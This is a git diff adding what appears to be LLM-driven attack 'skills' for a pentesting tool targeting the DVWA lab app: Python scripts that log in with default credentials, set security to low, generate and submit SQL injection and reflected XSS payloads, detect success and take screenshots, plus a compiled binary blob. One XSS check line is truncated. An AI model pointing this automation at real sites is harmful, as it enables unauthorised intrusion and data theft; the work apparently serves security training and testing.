a/src/skills/__pycache__/xss_reflected_low_smart.cpython-313.pyc b/src/skills/__pycache__/xss_reflected_low_smart.cpython-313.pyc new file mode 100644 index 0000000000000000000000000000000000000000..9ab6339d2cdacccaeee97fc9d6ac89e9d3b7bb79 GIT binary patch literal 4150 zcmcInO;8)j74FgBjKm0pB?~NUBYpyCjZt&np^g)(Mg%fwy;h(}030yB=r7|aBbU=gh2 zmN6@~mT23!ZOo4CV-D;n@%C|cjKdtzHG<=|Q($kq1nzcCuS0MK&|TYI2J>^S5dVTM z5Mqe!15uxUVKEr?3Ragi35P7iJ0~d;7Ii5W7nOvZ07@gZI$l1&!*K6Mf)I<0jNTl% zIyEvJ6Gldc1;WjUniR|6Byr4S5_6JH99YsbSc%hh%tBqX!hi2Ws6TOh!ahRNj46zw zzA|k=DRzpDP|Y`rz?eEg1RAzC#K1<(Fdh)m@CmklOKFVrfS^o*+}>BV^Q}4#fjy*C zQ)M3RKU(LmGRnC>>Lm55n%}N{o&Un`8iB9)T`g91RjjEI-2Z<+g<7Fb@bp+xj;N!T z5$YjLImPl8&%9NvJQB4Wva(vty#G_od}gi)M+Lvo&|^`o(??AUgvO|K+HZ1Ermq}T z#U>n^ZZ!LQEm235?X?I2>epSHVxMj@WgktMc54ki*0QupcJ!6iY2-q-$tg^C z6*oW?vXmO)5aV$vt%FTW0>YD&u&z;%2;L`?;dwPBg%`x693Gam1zk;tF9Uk&mv5Z@ z02)ct!(hLnhcz4zYYTERsfF)pS`16GGzwB81`fxxl!*17^fGa(N-QCZuxrGRGfK~e zq#75K+F(zm|2QnHwL$gWeN+sbTp3wwUmY(t2Y*LWkbTRj~vVlBP)oFw#0qNR0x1=R>dh|OM_3O4&Xmxx^Yuo zB24?1iB zsfPCU1GrFqm^MdzZwP=D z>galr3fk>!2%ggrA;liGM~?0Hnv_rvza#XvjoJloNz(y2P;G}RsA!HwX!?XnM=KGB z`Fy4MtisVKirNnQ9!0loQ3jCIZ>u``Eo+}N*V%6Y?b&t|YMjI^(1}}VMK>DP(&`9Q z@=pLtvg`#dj^(tTb(Bz{tArid+7c6-m9dl<2(}s^!n9_6SX>I0M+^qjSkeF(vb>@O zrF(#ox~wXgUL%BsStUu)rr^Y}X%T~(MmXu7tm!dzA=`B5R2~EnWsaWFG`#AFb2gJq z#^^!K9;=+vARO6X7o62lP?)$JnUenoUWC|^*~GC3fTUu&;xdJ9`fw99RU!4#qMVSF zI6Mad*hN{4?D3==Um%`} z+`M$y@|A(X9z?iU4AiAqjIat16LrzQ&0qb%8tJ~@9%!< z@7eL6&HK+j`C;DQzvCau`-iss^ZuJF*NVLN!NlssM*9=r%0!+&Tl5BUCkFD~0kFmJ zbca8Y=TH3l%!dA}{w-UMau;`D{$s^JU$No{NSF5=v^xETT&s>Kvs@L5{XKv{5p(5T&uF#x}X*zt2 z5Vw(6F*QvO4RMa#qZc$KEpUb$bTCJ&AzIPzfDni2K4bdPg(!z{5~!bP^*qhK7vPutG-Q3FxMaXiJa<|GbZ$IX!EQ1!rJg{DyNraI893eq7*= z7Y%xc3+B0Cu7#!pC2y4bb9J4Y4F&Gq18ktc^-`8yWpkd60@qoYqBYO8=GyuS+}T|R z>#Q$t#@eL<-&WZeBkKnL0J{R@M5RBN=VAGQt&swMg?9dX?seq(j$CJdfgjj)p~e%N zNAjNT75m>UR%gR5hnz0z(gWwJbFFLrMuF>q{Wkh?bzKE6R58-)c5Jv-W!3k_^tFN}Vin--rQomp}1+5*nnpJ}fUG`qBVc@B9_uFpNKd+*hc802co zI|JXn3?k35J;XTc|HONCtmYdY(VMd|@jm7egB|bX|jI-8a;a2 literal 0 HcmV?d00001 diff --git a/src/skills/sqli_low_smart.py b/src/skills/sqli_low_smart.py new file mode 100644 index 0000000..2e22cb3 --- /dev/null +++ b/src/skills/sqli_low_smart.py @@ -0,0 +1,68 @@ +from pathlib import Path +from urllib.parse import urlencode +from ..tools.browser import Browser +from ..detectors.sql_errors import has_sql_error +from ..fuzz.engine import generate_candidates, try_candidates +from ..fuzz.seeds import SQLI_SEEDS + +def run(base_url: str, budget: int = 8) -> dict: + with Browser(base_url) as b: + # login + b.goto("/login.php") + b.page.wait_for_selector('input[name="username"]', timeout=15000) + b.fill('input[name="username"]', "admin") + b.fill('input[name="password"]', "password") + b.click('input[type="submit"]') + b.page.wait_for_load_state("domcontentloaded") + + # best effort low + try: + b.goto("/security.php") + b.page.wait_for_selector('select[name="security"]', timeout=5000) + b.page.select_option('select[name="security"]', 'low') + b.click('input[type="submit"]') + b.page.wait_for_load_state("domcontentloaded") + except Exception: + pass + + # baseline + b.goto("/vulnerabilities/sqli/?id=1&Submit=Submit") + b.page.wait_for_load_state("domcontentloaded") + base_html = b.content() + base_len = len(base_html) + + def success_metrics(html: str): + if has_sql_error(html): return True, "SQL error pattern" + if ("First name" in html and "Surname" in html): return True, "User table markers" + if ("User ID" in html and "exists in the database" in html): return True, "Exists message" + if len(html) > base_len + 150: return True, "Delta size grew" + return False, "" + + # gerar candidatos com LLM (contexto simples da página) + page_ctx = {"markers":["id input","Submit button"], "base_len": base_len} + candidates = generate_candidates("SQLiLow", page_ctx, SQLI_SEEDS, budget) + + def try_one(p: str): + qs = urlencode({"id": p, "Submit": "Submit"}) + b.goto(f"/vulnerabilities/sqli/?{qs}") + b.page.wait_for_load_state("domcontentloaded") + html = b.content() + ok, reason = success_metrics(html) + + # screenshot + screens = Path(__file__).resolve().parents[2].parent / "screens" + screens.mkdir(parents=True, exist_ok=True) + shot = screens / "sqli_low_smart.png" + b.page.screenshot(path=str(shot), full_page=True) + + return { + "ok": ok, + "vector": "SQLi (Low) SMART", + "payload": p, + "reason": reason, + "evidence_excerpt": html[:1200], + "screenshot": str(shot), + "url": b.page.url, + } + + return try_candidates(try_one, candidates) diff --git a/src/skills/xss_reflected_low_smart.py b/src/skills/xss_reflected_low_smart.py new file mode 100644 index 0000000..fc2c118 --- /dev/null +++ b/src/skills/xss_reflected_low_smart.py @@ -0,0 +1,68 @@ +from pathlib import Path +from ..tools.browser import Browser +from ..fuzz.engine import generate_candidates, try_candidates +from ..fuzz.seeds import XSS_REFLECTED_SEEDS + +def run(base_url: str, budget: int=8) -> dict: + with Browser(base_url) as b: + # login + b.goto("/login.php") + b.page.wait_for_selector('input[name="username"]', timeout=15000) + b.fill('input[name="username"]', "admin") + b.fill('input[name="password"]', "password") + b.click('input[type="submit"]') + b.page.wait_for_load_state("domcontentloaded") + + # low + try: + b.goto("/security.php") + b.page.wait_for_selector('select[name="security"]', timeout=5000) + b.page.select_option('select[name="security"]', 'low') + b.click('input[type="submit"]') + b.page.wait_for_load_state("domcontentloaded") + except Exception: + pass + + # hook de alert() + alert = {"ok": False, "message": ""} + def on_dialog(d): + alert["ok"] = True + alert["message"] = d.message + d.accept() + b.page.on("dialog", on_dialog) + + # contexto e candidatos + b.goto("/vulnerabilities/xss_r/") + b.page.wait_for_selector('input[name="name"]', timeout=15000) + page_ctx = {"form":"name", "page": "xss_reflected"} + candidates = generate_candidates("XSSReflectedLow", page_ctx, XSS_REFLECTED_SEEDS, budget) + + def try_one(p: str): + b.goto("/vulnerabilities/xss_r/") + b.page.wait_for_selector('input[name="name"]', timeout=15000) + b.fill('input[name="name"]', p) + b.click('input[type="submit"]') + b.page.wait_for_timeout(900) + + html = b.content() + raw_present = " present" if raw_present else "no execution") + + screens = Path(__file__).resolve().parents[2].parent / "screens" + screens.mkdir(parents=True, exist_ok=True) + shot = screens / "xss_reflected_low_smart.png" + b.page.screenshot(path=str(shot), full_page=True) + + return { + "ok": ok, + "vector": "Reflected XSS (Low) SMART", + "payload": p, + "reason": reason, + "evidence_contains": p if raw_present else html[:1000], + "screenshot": str(shot), + "url": b.page.url, + } + + return try_candidates(try_one, candidates)